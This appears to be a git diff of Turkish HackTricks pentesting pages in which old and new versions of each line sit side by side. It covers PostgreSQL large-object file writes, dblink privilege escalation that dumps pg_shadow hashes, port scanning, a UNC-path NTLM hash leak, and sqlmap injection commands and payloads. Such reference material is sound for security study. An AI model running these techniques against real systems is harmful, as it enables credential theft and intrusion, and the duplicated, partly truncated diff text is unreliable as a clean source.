SELECT lo_creat(-1); -- Creates a new, empty large object
SELECT lo_create(173454); -- Attempts to create a large object with a specific OID
```
Hassas kontrol gerektiren durumlarda, örneğin Kör SQL Enjeksiyonu söz konusu olduğunda, sabit bir LOID belirtmek için `lo_create` tercih edilir.
Hassas kontrol gerektiren durumlarda, örneğin Blind SQL Injection istismarında, sabit bir LOID belirtmek için `lo_create` tercih edilir.
Veri parçaları aşağıdaki gibi eklenir:
Veri parçaları daha sonra şu şekilde eklenebilir:
```sql
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64'));
@ -60,30 +61,31 @@ SELECT lo_unlink(173454); -- Deletes the specified large object
select lo_import('/path/to/file');
select lo_import('/path/to/file', 173454);
```
Aşağıdaki nesne oluşturulduktan sonra, her sayfa için veri eklenir ve her parça 2KB'ı geçmez:
Oluşturma işleminden sonra, her sayfa için veri eklenir ve her parça 2KB'yi aşmaz:
```sql
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;
```
İşlemi tamamlamak için veriler dışa aktarılır ve büyük nesne silinir:
Veri aktarımını tamamlamak için, veriler dışa aktarılır ve büyük nesne silinir:
```sql
select lo_export(173454, '/path/to/your_file');
select lo_unlink(173454); -- Deletes the specified large object
```
### Sınırlamalar
### Limitations
**Büyük nesnelerin ACL'leri** (Erişim Kontrol Listeleri) olabileceği belirtilmektedir ve bu, kullanıcınız tarafından oluşturulan nesnelere bile erişimi kısıtlayabilir. Bununla birlikte, daha eski ve izin verici ACL'lere sahip nesneler hala içerik sızdırma için erişilebilir olabilir.
**Büyük nesnelerin ACL'leri** (Erişim Kontrol Listeleri) olabileceği belirtilmiştir, bu da kullanıcı tarafından oluşturulan nesnelere bile erişimi kısıtlayabilir. Ancak, izin verici ACL'lere sahip eski nesneler hala içerik sızdırma için erişilebilir olabilir.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamını görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,34 +1,36 @@
# dblink/lo\_import veri dışarı sızdırma
# dblink/lo\_import veri sızdırma
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
**Bu, verileri `lo_import` kullanarak veritabanına yükleme ve `dblink_connect` kullanarak sızdırma örneğidir.**
**Bu, veritabanına dosyalar yükleyerek verileri `lo_import` ile sızdırmanın ve `dblink_connect` kullanarak sızdırmanın bir örneğidir.**
**Çözümü buradan kontrol edin:** [**https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md**](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
**Çözümü kontrol edin:** [**https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md**](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,43 +1,44 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Bu saldırılar hakkında daha fazla bilgiyi orijinal makalede bulabilirsiniz**.
**Bu saldırılar hakkında [orijinal belgede daha fazla bilgi bulun](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**.
**PostgreSQL 9.1**'den beri, ek modüllerin kurulumu basittir. [Kayıtlı uzantılar gibi `dblink`](https://www.postgresql.org/docs/current/contrib.html), [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html) ile kurulabilir:
**PostgreSQL 9.1'den itibaren**, ek modüllerin kurulumu basittir. [`dblink` gibi kayıtlı uzantılar](https://www.postgresql.org/docs/current/contrib.html) [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html) ile kurulabilir:
```sql
CREATE EXTENSION dblink;
```
Dblink yüklendikten sonra bazı ilginç hileler yapabilirsiniz:
Bir kez dblink yüklendiğinde bazı ilginç numaralar yapabilirsiniz:
## Ayrıcalık Yükseltme
## Yetki Yükseltme
`pg_hba.conf` dosyası, **parolayı bilmeye gerek duymadan** **herhangi bir kullanıcı olarak localhost'tan bağlantıları** **izinleyebilecek şekilde yanlış yapılandırılmış** olabilir. Bu dosya genellikle `/etc/postgresql/12/main/pg_hba.conf` konumunda bulunur ve yanlış bir yapılandırma şu şekildedir:
`pg_hba.conf` dosyası **şifreyi bilmeye gerek kalmadan** **localhost'tan herhangi bir kullanıcı** ile **bağlantılara izin verecek** şekilde kötü yapılandırılmış olabilir. Bu dosya genellikle `/etc/postgresql/12/main/pg_hba.conf` konumunda bulunabilir ve kötü bir yapılandırma şöyle görünür:
```
local all all trust
```
_Not edin ki bu yapılandırma, yöneticinin unutması durumunda bir db kullanıcısının şifresini değiştirmek için yaygın olarak kullanılır, bu y yüzden bazen bunu bulabilirsiniz._\
_Ayrıca, pg\_hba.conf dosyasının sadece postgres kullanıcısı ve grubu tarafından okunabilir ve sadece postgres kullanıcısı tarafından yazılabilir olduğunu unutmayın._
_Not edin ki bu yapılandırma, admin şifreyi unuttuğunda bir db kullanıcısının şifresini değiştirmek için yaygın olarak kullanılır, bu yüzden bazen bunu bulabilirsiniz._\
_Ayrıca, pg\_hba.conf dosyasının yalnızca postgres kullanıcı ve grubu tarafından okunabilir ve yalnızca postgres kullanıcı tarafından yazılabilir olduğunu unutmayın._
Bu durum, **hedefin içinde zaten bir kabuğunuz olduğunda** kullanışlıdır çünkü size postgresql veritabanına bağlanmanıza izin verecektir.
Bu durum, **zaten** kurbanın içinde bir **shell**'e sahipseniz **yararlıdır**, çünkü size postgresql veritabanına bağlanma imkanı verecektir.
Başka bir olası yanlış yapılandırma şu şekildedir:
Başka bir olası yanlış yapılandırma, şöyle bir şeydir:
```
host all all 127.0.0.1/32 trust
```
Herkesin yerel sunucudan herhangi bir kullanıcı olarak veritabanına bağlanmasına izin vereceği için.\
Bu durumda ve eğer **`dblink`** fonksiyonu **çalışıyorsa**, zaten kurulmuş bir bağlantı üzerinden veritabanına bağlanarak ayrıcalıkları yükseltebilir ve erişmemeniz gereken verilere erişebilirsiniz:
Herkesin localhost'tan veritabanına herhangi bir kullanıcı olarak bağlanmasına izin verecektir.\
Bu durumda ve eğer **`dblink`** fonksiyonu **çalışıyorsa**, zaten kurulmuş bir bağlantı üzerinden veritabanına bağlanarak **yetkileri yükseltebilir** ve erişmemesi gereken verilere erişebilirsiniz:
```sql
SELECT * FROM dblink('host=127.0.0.1
user=postgres
@ -51,9 +52,9 @@ dbname=postgres',
'select usename, passwd from pg_shadow')
RETURNS (result1 TEXT, result2 TEXT);
```
## Port Tarama
## Port Scanning
`dblink_connect` kötüye kullanarak **açık portları arayabilirsiniz**. Eğer bu **fonksiyon çalışmazsa, belgelendirmeye göre `dblink_connect_u()` kullanmayı denemelisiniz çünkü `dblink_connect_u()`'nın `dblink_connect()` ile aynı olduğu, ancak non-super kullanıcıların herhangi bir kimlik doğrulama yöntemini kullanarak bağlanmasına izin verdiği belirtilmektedir.
`dblink_connect` kullanarak **açık portları arayabilirsiniz**. Eğer o **fonksiyon çalışmıyorsa, belgelerde `dblink_connect_u()`'nun `dblink_connect()` ile aynı olduğu, ancak süper kullanıcı olmayanların herhangi bir kimlik doğrulama yöntemi kullanarak bağlanmasına izin vereceği belirtiliyor, bu yüzden `dblink_connect_u()` kullanmayı denemelisiniz.**
```sql
SELECT * FROM dblink_connect('host=216.58.212.238
port=443
@ -80,19 +81,11 @@ DETAIL: timeout expired
ERROR: could not establish connection
DETAIL: received invalid response to SSL negotiation:
```
`dblink_connect` veya `dblink_connect_u` kullanmadan **önce**, aşağıdaki komutu çalıştırmanız gerekebilir:
Not edin ki `dblink_connect` veya `dblink_connect_u` kullanmadan **önce** şunu çalıştırmanız gerekebilir:
```
CREATE extension dblink;
```
## UNC yolu - NTLM hash ifşası
Bir hedef ağda NTLM hash ifşası yapmak için UNC yolu kullanılabilir. UNC yolu, ağdaki bir kaynağa erişmek için kullanılan bir yol belirtir. Bu yöntem, hedef ağdaki bir kaynağa bağlanmak için NTLM kimlik doğrulamasını gerektiren bir işlem gerçekleştirir.
NTLM hash ifşası, hedef ağdaki bir kullanıcının NTLM hash değerini elde etmek anlamına gelir. Bu hash değeri, kullanıcının parolasının şifrelenmiş bir sürümüdür. NTLM hash ifşası, saldırganın bu hash değerini çalarak kullanıcının kimlik doğrulamasını geçersiz kılmasına olanak tanır.
UNC yolu kullanarak NTLM hash ifşası yapmak için, saldırgan bir UNC yoluyla hedef ağdaki bir kaynağa erişmeye çalışır. Bu işlem sırasında, saldırganın kimlik doğrulaması gerektiren bir NTLM meydan okuması alır. Saldırgan, bu meydan okumayı yanıtlamak için kullanıcının NTLM hash değerini kullanır.
NTLM hash ifşası, saldırganın hedef ağdaki kullanıcının kimlik bilgilerini ele geçirmesine ve ağa yetkisiz erişim sağlamasına olanak tanır. Bu nedenle, hedef ağın güvenliğini sağlamak için NTLM hash ifşasına karşı önlemler alınmalıdır.
## UNC yolu - NTLM hash sızıntısı
```sql
-- can be used to leak hashes to Responder/equivalent
CREATE TABLE test();
@ -113,16 +106,17 @@ END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT testfunc();
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,19 +1,20 @@
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi takip edin** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
# SQLmap için temel argümanlar
# SQLmap için Temel Argümanlar
## Genel
```bash
@ -32,9 +33,9 @@ HackTricks'ı desteklemenin diğer yolları:
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY
```
## Bilgi Al
## Bilgi Alma
### İçerik
### Dahili
```bash
--current-user #Get current user
--is-dba #Check if current user is Admin
@ -43,24 +44,6 @@ HackTricks'ı desteklemenin diğer yolları:
--passwords #Get passwords of users in DB
```
### DB verileri
```plaintext
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 8316=8316
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1 AND (SELECT 8316 FROM(SELECT COUNT(*),CONCAT(0x717a6a7071,(SELECT (ELT(8316=8316,1))),0x717a627071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 8316 FROM (SELECT(SLEEP(5)))a)
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: id=-9999 UNION ALL SELECT NULL,CONCAT(0x717a6a7071,0x4e4e4e4e4e546d4e4e4e4e4e6d4e4e4e4e4e6d4e4e4e4e4e6d4e4e4e4e4e6d4e4e4e4e4e6d4e4e4e4e4e6d4e4e4e4e4e6d4e4e4e4e4e6d4e4e4e4e4e6d4e4e4e4e4e6d4e4e4e4e4e6d4e4e4e4e4e6d4e4e4e4e4e6d4e4e4e4e4e6d4e4e4e4e4e6d4e4e4e4e4e6d4e4e4e4e4e6d4e4e4e4e4e6d4e4e4e4e4e6d4e4e4e4e4e6d4e4e4e4e4e6d4e4e4e4e4e6d4e4e4e4e4e6d4e4e4e4e4e6d4e4e4e4e4e6d4e4e4e4e4e6d4e4e4e4e4e6d4e4e4e4e4e6d4e4e4e4e4e6d4e4e4e4e4e6d4e4e4e4e4e6d4e4e4e4e4
```bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
@ -71,121 +54,22 @@ Parameter: id (GET)
```
# Enjeksiyon Yeri
## Burp/ZAP Yakalamadan
## Burp/ZAP yakalamasından
İsteği yakalayın ve req.txt adında bir dosya oluşturun
İsteği yakalayın ve req.txt dosyası oluşturun.
```bash
sqlmap -r req.txt --current-user
```
## GET İstek Enjeksiyonu
### SQLMap
SQLMap, SQL enjeksiyonu saldırılarını otomatik olarak tespit etmek ve bu saldırıları gerçekleştirmek için kullanılan popüler bir araçtır. SQLMap, hedef web uygulamasının GET isteklerine SQL enjeksiyonu yapmak için kullanılabilir.
### SQLMap ile GET İstek Enjeksiyonu
SQLMap'i kullanarak GET isteklerine SQL enjeksiyonu yapmak için aşağıdaki adımları izleyebilirsiniz:
1. SQLMap'i çalıştırın ve hedef URL'yi belirtin:
```bash
sqlmap -u "http://example.com/page.php?id=1"
```
2. SQLMap, hedef URL'yi analiz edecek ve SQL enjeksiyonu açıklarını tespit etmek için otomatik olarak testler yapacaktır.
3. SQLMap, hedef URL'de SQL enjeksiyonu açığı tespit ederse, size bu açığı kullanmak için seçenekler sunacaktır. Örneğin, veritabanı tablolarını listeleyebilir, verileri çekebilir veya hatta komutları yürütebilirsiniz.
4. SQLMap, hedef URL'de SQL enjeksiyonu açığı tespit etmezse, farklı parametrelerle deneme yapabilir veya manuel olarak SQL enjeksiyonu yapmak için diğer araçları kullanabilirsiniz.
### Örnek
Aşağıdaki örnek, SQLMap'i kullanarak GET isteklerine SQL enjeksiyonu yapmayı göstermektedir:
```bash
sqlmap -u "http://example.com/page.php?id=1" --dbs
```
Bu komut, hedef URL'deki veritabanı tablolarını listeleyecektir.
## GET İsteği Enjeksiyonu
```bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
```
## POST İstek Enjeksiyonu
When performing a POST request injection, you need to identify the parameters that are being sent in the body of the request. These parameters can be found in the request payload or in the form data.
POST istek enjeksiyonu yaparken, isteğin gövdesinde gönderilen parametreleri belirlemeniz gerekmektedir. Bu parametreler istek yükünde veya form verilerinde bulunabilir.
To inject SQL code into a POST request, you can use tools like SQLMap. SQLMap is a powerful tool that automates the process of detecting and exploiting SQL injection vulnerabilities.
POST isteğine SQL kodu enjekte etmek için SQLMap gibi araçları kullanabilirsiniz. SQLMap, SQL enjeksiyon açıklarını tespit etme ve sömürme sürecini otomatikleştiren güçlü bir araçtır.
To use SQLMap with a POST request, you need to provide the URL of the target, the parameter to be injected, and the payload to be used. SQLMap will then analyze the response and determine if the parameter is vulnerable to SQL injection.
SQLMap'i bir POST isteğiyle kullanmak için, hedefin URL'sini, enjekte edilecek parametreyi ve kullanılacak yükü sağlamanız gerekmektedir. SQLMap, ardından yanıtı analiz edecek ve parametrenin SQL enjeksiyonuna karşı savunmasız olup olmadığını belirleyecektir.
Here is an example command to use SQLMap with a POST request:
İşte bir POST isteğiyle SQLMap kullanmak için bir örnek komut:
```
sqlmap -u "http://example.com/login" --data "username=admin&password=pass" -p "username" --method POST
```
In this example, we are targeting the login page of "http://example.com" and injecting the "username" parameter. The payload is provided in the `--data` option, where we specify the values for the "username" and "password" parameters.
Bu örnekte, "http://example.com" adresindeki giriş sayfasını hedef alıyoruz ve "username" parametresine enjeksiyon yapıyoruz. Yük, `--data` seçeneğinde sağlanır ve "username" ve "password" parametreleri için değerleri belirtiriz.
By using SQLMap, you can automate the process of injecting SQL code into POST requests and quickly identify any SQL injection vulnerabilities in the target application.
SQLMap kullanarak, SQL kodunu POST isteklerine enjekte etme sürecini otomatikleştirebilir ve hedef uygulamadaki SQL enjeksiyon açıklarını hızlı bir şekilde tespit edebilirsiniz.
## POST İsteği Enjeksiyonu
```bash
sqlmap -u "http://example.com" --data "username=*&password=*"
```
## Başlık ve Diğer HTTP Metotlarında Enjeksiyonlar
### HTTP Başlıklarında Enjeksiyon
Bazı durumlarda, web uygulamaları HTTP başlıklarını kullanarak veri alışverişi yapar. Bu başlıklar, kullanıcıdan gelen verileri almak veya sunucuya göndermek için kullanılır. SQL enjeksiyonu gibi saldırılar, bu başlıkların güvenli olmadığı durumlarda gerçekleştirilebilir.
SQL enjeksiyonu için kullanılan bazı başlıklar şunlardır:
- User-Agent
- Referer
- Cookie
- Accept-Language
- Accept-Encoding
Bu başlıkların içeriği, sunucu tarafında işlenirken, kullanıcı tarafından kontrol edilebilir. Bu nedenle, bu başlıklara yapılan enjeksiyonlar, saldırganın SQL kodunu sunucuya göndermesine olanak tanır.
### Diğer HTTP Metotlarında Enjeksiyon
HTTP protokolü, GET ve POST dışında da birçok farklı metot sunar. Bu metotlar, web uygulamalarının farklı işlemleri gerçekleştirmesine olanak tanır. SQL enjeksiyonu gibi saldırılar, bu metotların güvenli olmadığı durumlarda gerçekleştirilebilir.
SQL enjeksiyonu için kullanılan bazı HTTP metotları şunlardır:
- PUT
- DELETE
- OPTIONS
- TRACE
Bu metotlar, sunucuya veri göndermek veya sunucudan veri almak için kullanılır. Saldırgan, bu metotları kullanarak SQL kodunu sunucuya enjekte edebilir ve istediği işlemi gerçekleştirebilir.
### SQLMap ile Enjeksiyon Tespiti
